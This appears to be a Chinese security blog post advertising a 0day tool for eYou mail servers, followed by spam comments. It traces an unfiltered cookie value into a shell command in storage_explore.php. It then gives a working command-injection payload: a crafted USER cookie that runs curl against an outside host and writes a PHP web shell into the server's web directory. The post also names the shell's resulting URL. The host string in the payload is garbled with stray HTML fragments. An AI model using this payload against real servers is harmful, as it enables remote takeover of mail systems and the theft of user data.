『河马』eyou Storage_explore.php Cookie命令注入漏洞利用工具


文件/user/storage_explort.php
<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <fenghui@eyou.net>
* @copyright 2008 eYou.net
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');

$skin               = getCookieUserValue('SKIN');
$uid                = getCookieUserValue('UID');
$domain             = getCookieUserValue('DOMAIN');
$user_dir_path      = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path  = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);

// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);

$is_submit = $_POST['is_submit'] ? true : false;
?>
跟进getCookieUserValue函数:

function getCookieUserValue($key) {
    $user_arr = explode('&', cookie('USER'));
    $n = count($user_arr);
    for ($i = 0; $i < $n; $i++) {
        $g_arr = explode('=', $user_arr[$i]);
        if ($g_arr[0] == $key) {
            return $g_arr[1];
        }
    }
    return null;
}

跟进cookie函数:
function cookie($name){
    if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
       return '';

整个过程没有对cookie 进行过滤

直接就取那个cookie中USER的值取出来,然后进入了getUserDirPath函数

来看看getUserDirPath函数:

/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
    $cmd = "/var/eyou/sbin/hashid $uid $domain";
    echo $cmd;
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}

uid和domain直接进入了命令,导致命令执行。



漏洞利用:

将cookie设置为:

USER=UID=1|curl isafe.cc" target="_blank">isafe.cc:8080/test.txt" target="_blank">http://www.isafe.cc" target="_blank">isafe.cc:8080/test.txt>>www.isafe.cc" target="_blank">isafe.cc.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成www.isafe.cc" target="_blank">isafe.cc.php文件

shell地址为:

localhost/user/www.isafe.cc" target="_blank">isafe.cc.php
只允许会员下载 该文件只允许会员下载! 登录 | 注册

[本日志由 admin 于 2016-06-10 10:30 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 0day
评论: 167 | 引用: 0 | 查看次数: 14097
Lan [2015-08-31 06:27 AM]
Love the site-- extremely user friendly and whole lots to see!
Aleisha [2015-07-07 09:38 PM]
It is an active crusader fighting for environment protection, underprivileged rights, human rights and animal rights, worldwide.
Enough food was stored for the winter so Karana and Rontu took short trips around the island in the canoe. If you compare that to the cost of a spa or dermatologists treatment, which can be anywhere from $40 to $150 per treatment, over a course of 6-8 recommended treatment, these devices easily pay for themselves during the first treatment campaign and can be used if breakouts occur in the future.
Gidget [2015-06-19 01:34 AM]
Great looking website. Assume you did a lot of your very own html coding.


My blog - winning at casino blackjack tips
Klara [2015-06-18 11:05 PM]
What's up, great web site you have here.

My website :: mens fat loss exercises tips
Twila [2015-06-18 07:50 AM]
It's okay to stumble over your old words and old way of thinking as long as when you get back up you replace those footsteps with words that will take your life in a new direction. In due course, whatyou will get is a child who is brilliant, attentive and caring too.
Remember that your written communication is an introduction or a supplement to you.

Here is my blog post; teracota
Jerrold [2015-06-15 12:55 AM]
You're an extremely helpful site; couldn't make it without ya!


Review my blog post: auto storiche
Regena [2015-06-13 05:58 AM]
Thanks! It is an incredible online site!

My page; abogado en Tenerife
Jayson [2015-06-11 12:04 AM]
You're an extremely practical website; could not make it without ya!


Also visit my website ... toner
Erlinda [2015-06-11 03:03 AM]
Sometimes it takes using I statements when you are upset and completely vulnerable.
In due course, whatyou will get is a child who is brilliant, attentive and caring too. The people around us will be our containers; we look to them for understanding.

Also visit my web-site: antonyms of Abet
Blythe [2015-06-10 08:45 PM]
It's okay to stumble over your old words and old way of thinking as long as when you get back up you replace those footsteps with words that will take your life in a new direction. If you are the kind of person who is not active in showing love, start doing so and you do not have to write a love letter.
Bottomline - there will always be something you don't understand about your partner.

my blog ... antonyms words list in hindi
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码
内 容:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭